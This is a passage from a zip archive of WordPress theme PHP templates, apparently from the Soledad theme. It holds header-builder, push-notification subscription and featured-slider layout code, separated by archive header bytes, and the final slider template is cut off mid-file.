PK     /w\UJ2  2  +  builder/template/desktop-sticky-wrapper.phpnu [        <?php
$header_data    = $args['header_data'];
$sticky_layout              = penci_builder_validate_mod( $header_data, 'penci_header_desktop_sticky_wrap_all' );
$sticky_layout_custom_width = penci_builder_validate_mod( $header_data, 'penci_header_desktop_sticky_wrap_width' );

$sticky_enable = false;
$sticky_row    = [ 'top', 'mid', 'bottom' ];
$classess      = [];
foreach ( $sticky_row as $row ) {
	if ( penci_can_render_header( 'desktop_sticky', $row ) ) {
		$sticky_enable = true;
	}
}
if ( 'enable' == penci_builder_validate_mod( $header_data, 'penci_header_desktop_sticky_shadow' ) ) {
	$classess[] = 'shadow-enable';
}
if ( 'enable' == penci_builder_validate_mod( $header_data, 'penci_header_desktop_sticky_hide_down' ) ) {
	$classess[] = 'hide-scroll-down';
}
if ( 'enable' == $sticky_layout ) {
	$classess[] = 'container pchb-boxed-layout';
}
if ( 'enable' == $sticky_layout && $sticky_layout_custom_width ) {
	$classess[] = $sticky_layout_custom_width;
}
if ( $sticky_enable || is_customize_preview() ):
	?>
    <div class="penci_header penci-header-builder penci_builder_sticky_header_desktop <?php echo implode( ' ', $classess ); ?>">
        <div class="penci_container">
            <div class="penci_stickybar penci_navbar">
				<?php
				foreach ( $sticky_row as $row ) {
					if ( penci_can_render_header( 'desktop_sticky', $row ) || is_customize_preview() ) {
						load_template( PENCI_BUILDER_PATH . 'template/desktop-sticky-' . $row . '.php', false, [ 'header_data' => $header_data] );
					}
				}
				?>
            </div>
        </div>
    </div>
<?php endif;
PK     /w\(n    "  builder/template/mobile-bottom.phpnu [        <?php
$classes        = '';
$header_data    = $args['header_data'];
$stick_class    = penci_builder_validate_mod( $header_data, 'penci_header_mobile_bottombar_sticky_setting', '' );
$middle_content = penci_builder_validate_mod( $header_data, 'penci_header_mobile_bottombar_middle_column', 'enable' );
$classes        .= 'enable' == $stick_class ? 'sticky-enable' : 'sticky-disable';
$classes        .= 'enable' == $middle_content ? ' pcmiddle-center' : ' pcmiddle-normal';
$classes        .= penci_can_render_header( 'mobile', 'bottom' ) ? ' pc-hasel' : ' pc-noel';
$bgtrans        = penci_builder_validate_mod( $header_data, 'penci_header_mobile_bottombar_background_trans', 'enable' );
$classes        .= 'enable' == $bgtrans ? ' bgtrans-enable' : ' bgnormal';
?>
<div class="penci_mobile_bottombar penci-mobile-bottombar penci_container <?php echo esc_attr( $classes ); ?>">
    <div class="container">
        <div class="penci_nav_row">
			<?php
			$columns = array( 'left', 'center', 'right' );

			foreach ( $columns as $column ) {
				$setting_align = "penci_hb_align_mobile_bottom_{$column}";
				$align         = penci_builder_validate_mod( $header_data, $setting_align, $column );


				$setting_element = "penci_hb_element_mobile_bottom_{$column}";
				$elements        = penci_builder_validate_mod( $header_data, $setting_element );
				$elements        = $elements ? explode( ',', $elements ) : '';
				?>

                <div class="penci_nav_col penci_nav_<?php echo esc_attr( $column ); ?> penci_nav_align<?php echo esc_attr( $align ); ?>">

					<?php
					if ( ! empty( $elements ) ) {
						foreach ( $elements as $element ) {
							if ( ! empty( $element ) && file_exists( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php' ) ) {
								load_template( PENCI_BUILDER_PATH . 'elements/' . $element . '/front-end.php', false, [ 'header_data' => $header_data ] );
							}
						}
					}
					?>

                </div>

				<?php
			}
			?>
        </div>
    </div>
</div>
PK     /w\8:      push_notification.phpnu [        <?php

class Penci_Push_Notification {


	/**
	 * Constructor
	 */
	public function __construct() {

		if ( ! defined( 'ONESIGNAL_PLUGIN_URL' ) ) {
			return;
		}

		add_action( 'wp_enqueue_scripts', [ $this, 'enqueue_assets' ] );
		add_filter( 'the_content', [ $this, 'render_ui' ] );
		add_action( 'admin_init', array( $this, 'post_category_filter' ) );
		add_action( 'penci_archive_after_posts', array( $this, 'render_single_category_form' ) );
	}

	public function enqueue_assets() {
		wp_enqueue_script(
			'penci-push-notification',
			PENCI_SOLEDAD_URL . '/js/notification.js',
			[ 'jquery' ],
			PENCI_SOLEDAD_VERSION,
			true
		);
	}

	public function post_category_filter() {
		if ( current_user_can( 'edit_posts' ) ) {
			add_filter( 'onesignal_send_notification', array( $this, 'send_notification_filter' ), 10, 4 );
		}
	}

	function send_notification_filter( $fields, $new_status, $old_status, $post ) {
		if ( $post->post_type != 'post' ) {
			return false;
		}

		$filters    = array();
		$categories = $this->get_post_category( $post->ID );

		for ( $i = 0; $i < sizeof( $categories ); $i ++ ) {
			$filters[] = array(
				'field'    => 'tag',
				'key'      => $categories[ $i ],
				'relation' => '=',
				'value'    => $categories[ $i ],
			);

			if ( $i < ( sizeof( $categories ) - 1 ) ) {
				$filters[] = array(
					'operator' => 'OR',
				);
			}
		}

		if ( sizeof( $filters ) > 0 ) {
			$filters[] = array(
				'operator' => 'OR',
			);
		}

		$filters[] = array(
			'field'    => 'tag',
			'key'      => 'all',
			'relation' => '=',
			'value'    => 'all',
		);

		$fields['included_segments'] = array();
		$fields['filters']           = $filters;

		return $fields;
	}

	public function get_post_category( $post_id ) {
		$result = array();

		$categories = wp_get_post_categories( $post_id );

		foreach ( $categories as $category ) {
			$category = get_term_by( 'id', $category, 'category' );
			$result[] = $category->slug;
		}

		return $result;
	}

	public function render_ui( $content ) {

		if ( ! is_single() ) {
			return $content;
		}

		$push_form = '';

		$penci_pushnt_sdesc = get_theme_mod( 'penci_pushnt_sdesc', 'Get real time update about this post category directly on your device, subscribe now.' );
		$btn_subscribe      = get_theme_mod( 'penci_pushnt_btntext', 'Subscribe' );
		$btn_unsubscribe    = get_theme_mod( 'penci_pushnt_unbtntext', 'Unsubscribe' );
		$btn_processing     = get_theme_mod( 'penci_pushnt_probtntext', 'Processing ...' );
		$post_category      = $this->get_post_category( get_the_ID() );

		$push_form .= '
                        <div class="penci_push_notification">
                            <div class="penci_push_notification_content"><p>' . esc_html( $penci_pushnt_sdesc ) . '</p></div>
                            <div class="penci_push_notification_button">
                                <input type="hidden" name="post-category" value="' . implode( ',', $post_category ) . '">
                                    <input type="hidden" name="button-subscribe" value="' . $btn_subscribe . '">
                                    <input type="hidden" name="button-unsubscribe" value="' . $btn_unsubscribe . '">
                                    <input type="hidden" name="button-processing" value="' . $btn_processing . '">
                                    <a data-action="subscribe" class="button" data-type="general" href="#">
                                        <i class="fa fa-bell"></i>
                                       ' . esc_html( $btn_subscribe ) . '
                                    </a>
                                </div>
                        </div>';


		return $content . $push_form;
	}

	public function render_single_category_form() {

		$category = get_queried_object();

		$penci_pushnt_sdesc = get_theme_mod( 'penci_pushnt_sdesc', 'Get real time update about this post category directly on your device, subscribe now.' );
		$btn_subscribe      = get_theme_mod( 'penci_pushnt_btntext', 'Subscribe' );
		$btn_unsubscribe    = get_theme_mod( 'penci_pushnt_unbtntext', 'Unsubscribe' );
		$btn_processing     = get_theme_mod( 'penci_pushnt_probtntext', 'Processing ...' );

		$output = '<div class="penci_push_notification"><div class="penci_push_notification_content">
                        <p>' . esc_html( $penci_pushnt_sdesc ) . '</p>
                        <div class="penci_push_notification_button">
                            <input type="hidden" name="post-category" value="' . esc_attr( $category->slug ) . '">
                            <input type="hidden" name="button-subscribe" value="' . esc_attr( $btn_subscribe ) . '">
                            <input type="hidden" name="button-unsubscribe" value="' . esc_attr( $btn_unsubscribe ) . '">
                            <input type="hidden" name="button-processing" value="' . esc_attr( $btn_processing ) . '">
                            <a data-action="unsubscribe" data-type="category" class="button" href="#">
                                <i class="fa fa-bell"></i>
                                ' . esc_html( $btn_unsubscribe ) . '
                            </a>
                        </div>
                    </div></div>';

		echo $output;
	}
}

new Penci_Push_Notification();PK     /w\hyQ      featured_slider/style-20.phpnu [        <?php
/**
 * Template part for Slider Style 20
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb';
$image_size_big      = get_theme_mod( 'featured_slider_imgbig' ) ? get_theme_mod( 'featured_slider_imgbig' ) : 'penci-magazine-slider';

	$image_size_m = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $image_size;
				if ( ( $i % 5 == 1 || $i % 5 == 2 ) && ! penci_is_mobile() ): $thumb = $image_size_big; endif;
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 5 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$thumb,$image_size_m ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_m : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>

                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 5 == 1 || $i % 5 == 2 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) && get_theme_mod( 'penci_featured_show_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                    <div class="feat-meta">
										<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 5 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     /w\R      featured_slider/style-10.phpnu [        <?php
/**
 * Template part for Slider Style 10
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb-vertical';

$image_size_mobile = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
	<?php $i   = 1;
	$num_posts = $feat_query->post_count;
	while ( $feat_query->have_posts() ) : $feat_query->the_post();
		?>
        <div class="item swiper-slide">
            <div class="wrapper-item wrapper-item-classess">
                <div class="penci-item-mag penci-item-<?php echo( $i % 3 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(), $image_size, $image_size_mobile ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_mobile : $image_size ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider7-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) && get_theme_mod( 'penci_featured_show_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                    <div class="feat-meta">
										<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
		<?php $i ++; endwhile;
	wp_reset_postdata(); ?>
<?php endif; ?>
PK     /w\%l      featured_slider/style-32.phpnu [        <?php
/**
 * Template part for Slider Style 32
 */
$image_size = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-full-thumb';
if ( penci_is_mobile()) {
	$image_size = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';
}
$number = get_theme_mod( 'penci_featured_slider_slides' );
if ( ! $number ): $number = - 1; endif;
$penci_slider_height = get_theme_mod( 'penci_featured_penci_slider_height' );
if ( ! $penci_slider_height || ! is_numeric( $penci_slider_height ) ): $penci_slider_height = 550; endif;
$orderby = 'menu_order';
if ( get_theme_mod( 'penci_featured_slider_random' ) ):
	$orderby = 'rand';
endif;

$featured_args = array(
	'post_type'      => 'penci_slider',
	'order'          => 'ASC',
	'orderby'        => $orderby,
	'posts_per_page' => $number
);

$feat_query = new WP_Query( $featured_args );
?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>
	<?php
	/* Get data of this slide */
	$image_url       = get_post_meta( $post->ID, '_penci_slider_image', true );
	$image_url       = ! $image_url ? '' : $image_url;
	$slider_title    = get_post_meta( $post->ID, '_penci_slider_title', true );
	$slider_title    = ! $slider_title ? '' : $slider_title;
	$caption         = get_post_meta( $post->ID, '_penci_slider_caption', true );
	$caption         = ! $caption ? '' : $caption;
	$button_text     = get_post_meta( $post->ID, '_penci_slider_button', true );
	$button_text     = ! $button_text ? '' : $button_text;
	$title_color     = get_post_meta( $post->ID, '_penci_slider_title_color', true );
	$title_style     = ! $title_color ? '' : ' style="color: ' . $title_color . '"';
	$title_bgcolor   = get_post_meta( $post->ID, '_penci_slider_title_bgcolor', true );
	$title_bgcolor   = ! $title_bgcolor ? '' : ' style="background-color: ' . penci_cover_hex_to_rgb( $title_bgcolor, '0.4' ) . '"';
	$caption_color   = get_post_meta( $post->ID, '_penci_slider_caption_color', true );
	$caption_style   = ! $caption_color ? '' : ' style="color: ' . $caption_color . '"';
	$caption_bgcolor = get_post_meta( $post->ID, '_penci_slider_caption_bgcolor', true );
	$caption_bgcolor = ! $caption_bgcolor ? '' : ' style="background-color: ' . penci_cover_hex_to_rgb( $caption_bgcolor, '0.4' ) . '"';
	$button_bg       = get_post_meta( $post->ID, '_penci_slider_button_bg', true );
	$button_bg       = ! $button_bg ? '' : 'background: ' . $button_bg . ';';
	$button_color    = get_post_meta( $post->ID, '_penci_slider_button_text_color', true );
	$button_color    = ! $button_color ? '' : 'color: ' . $button_color;
	$animation       = get_post_meta( $post->ID, '_penci_slide_element_animation', true );
	$animation       = ! $animation ? 'fadeInUp' : $animation;

	$style_button = '';
	if ( ! empty( $button_bg ) || ! empty( $button_color ) ): $style_button = ' style="' . $button_bg . $button_color . '"'; endif;
	$button_html = $button2_html = '';

	if ( ! empty( $button_text ) ) {
		$button_html = '<div class="penci-button"><a class="pencislider-button"' . $style_button . '>' . sanitize_text_field( do_shortcode( $button_text ) ) . '</a></div>';
		$button_url  = get_post_meta( $post->ID, '_penci_slider_button_url', true );
		$button_url  = ! $button_url ? '' : $button_url;
		if ( ! empty( $button_url ) ):
			$button_html = '<div class="penci-button"><a class="pencislider-button"' . $style_button . ' href="' . esc_url( do_shortcode( $button_url ) ) . '">' . sanitize_text_field( do_shortcode( $button_text ) ) . '</a></div>';
		endif;
	}
	$slider_align = get_post_meta( $post->ID, '_penci_slide_alignment', true );
	$slider_align = ! $slider_align ? 'center' : $slider_align;

	$buttonlink_url  = get_post_meta( $post->ID, '_penci_slider_button_url', true );
	$open_link_html  = '';
	$close_link_html = '';
	if ( $buttonlink_url ) {
		$open_link_html  = '<a href="' . esc_url( do_shortcode( $buttonlink_url ) ) . '">';
		$close_link_html = '</a>';
	}

	if ( ! empty( $image_url ) ):
		?>
        <div class="item swiper-slide pencislider-item">
			<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                <div class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                     data-bgset="<?php echo penci_get_image_size_url( $image_url, $image_size ); ?>"
                     style="height: <?php echo $penci_slider_height; ?>px;"><?php echo $open_link_html . $close_link_html; ?></div>
			<?php } else { ?>
                <div class="penci-image-holder"
                     style="background-image: url('<?php echo penci_get_image_size_url( $image_url, $image_size ); ?>'); height: <?php echo $penci_slider_height; ?>px;"><?php echo $open_link_html . $close_link_html; ?></div>
			<?php } ?>

            <div class="pencislider-container penci-<?php echo esc_attr( $animation ); ?> align-<?php echo esc_attr( $slider_align ); ?>">
                <div class="pencislider-content">
					<?php if ( ! empty( $slider_title ) ): ?>
                        <h2 class="pencislider-title"<?php echo( $title_style ); ?>><?php echo $open_link_html . '<span class="pencititle-inner-bg"' . $title_bgcolor . '>' . do_shortcode( $slider_title ) . '</span>' . $close_link_html; ?></h2>
					<?php endif; ?>
					<?php if ( ! empty( $caption ) ): ?>
                        <p class="pencislider-caption"<?php echo( $caption_style ); ?>><span
                                    class="pencicaption-inner-bg"<?php echo $caption_bgcolor; ?>><?php echo do_shortcode( $caption ); ?></span>
                        </p>
					<?php endif; ?>
					<?php echo( $button_html ); ?>
                </div>
            </div>
        </div>
	<?php endif; /* Igrone if doesn't exists image */ ?>
<?php endwhile;
	wp_reset_postdata(); endif; ?>
PK     /w\^$F      featured_slider/style-14.phpnu [        <?php
/**
 * Template part for Slider Style 14
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 12;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-thumb-vertical';
$image_size_big      = get_theme_mod( 'featured_slider_imgbig' ) ? get_theme_mod( 'featured_slider_imgbig' ) : 'penci-magazine-slider';

	$image_size_m = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
    <div class="item swiper-slide">
        <div class="wrapper-item wrapper-item-classess">
			<?php $i   = 1;
			$num_posts = $feat_query->post_count;
			while ( $feat_query->have_posts() ) : $feat_query->the_post();
				$thumb = $image_size;
                $bgset = penci_image_srcset( get_the_ID(),$thumb,$image_size_m );
				if ( $i % 3 == 1 ) {
					$bgset = penci_image_srcset( get_the_ID(),$image_size_big,$image_size_m );
                }
				?>
                <div class="penci-item-mag penci-item-<?php echo( $i % 3 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo $bgset; ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_m : $thumb ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>

                    <div class="penci-slide-overlay penci-slider6-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! get_theme_mod( 'penci_featured_slider_icons' ) && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>"
                               class="overlay-icon-format <?php if ( $i % 3 == 1 ): echo ' lager-size-icon'; endif; ?>">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! get_theme_mod( 'penci_featured_hide_categories' ) && get_theme_mod( 'penci_featured_show_categories' ) ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) || ! get_theme_mod( 'penci_featured_meta_date' ) || get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                    <div class="feat-meta">
										<?php if ( get_theme_mod( 'penci_featured_meta_author' ) ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_date' ) ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! get_theme_mod( 'penci_featured_meta_comment' ) ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 3 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     /w\uq  q    featured_slider/style-2.phpnu [        <?php
/**
 * Template part for Slider Style 2
 */

$feat_query = penci_get_query_featured_slider();
if ( ! $feat_query ) {
	return;
}
$slider_title_length = get_theme_mod( 'penci_slider_title_length' ) ? get_theme_mod( 'penci_slider_title_length' ) : 20;
$image_size          = get_theme_mod( 'featured_slider_imgsize' ) ? get_theme_mod( 'featured_slider_imgsize' ) : 'penci-slider-thumb';
$image_size_mobile   = get_theme_mod( 'featured_slider_imgsize_mobile' ) ? get_theme_mod( 'featured_slider_imgsize_mobile' ) : 'penci-masonry-thumb';
?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) : $feat_query->the_post(); ?>

    <div class="swiper-slide item">
        
		<?php do_action( 'penci_bookmark_post' ); ?>
		<?php if ( ! get_theme_mod( 'penci_disable_lazyload_slider' ) ) { ?>
            <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
               data-bgset="<?php echo penci_image_srcset( get_the_ID(), $image_size, $image_size_mobile ); ?>"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
		<?php } else { ?>
            <a class="penci-image-holder"
               style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), penci_is_mobile() ? $image_size_mobile : $image_size ); ?>');"
               href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
		<?php } ?>
		<?php if ( ! get_theme_mod( 'penci_featured_center_box' ) ): ?>
            <div class="penci-featured-content">
                <div class="feat-text<?php if ( get_theme_mod( 'penci_featured_meta_date' ) ): echo ' slider-hide-date'; endif; ?>">
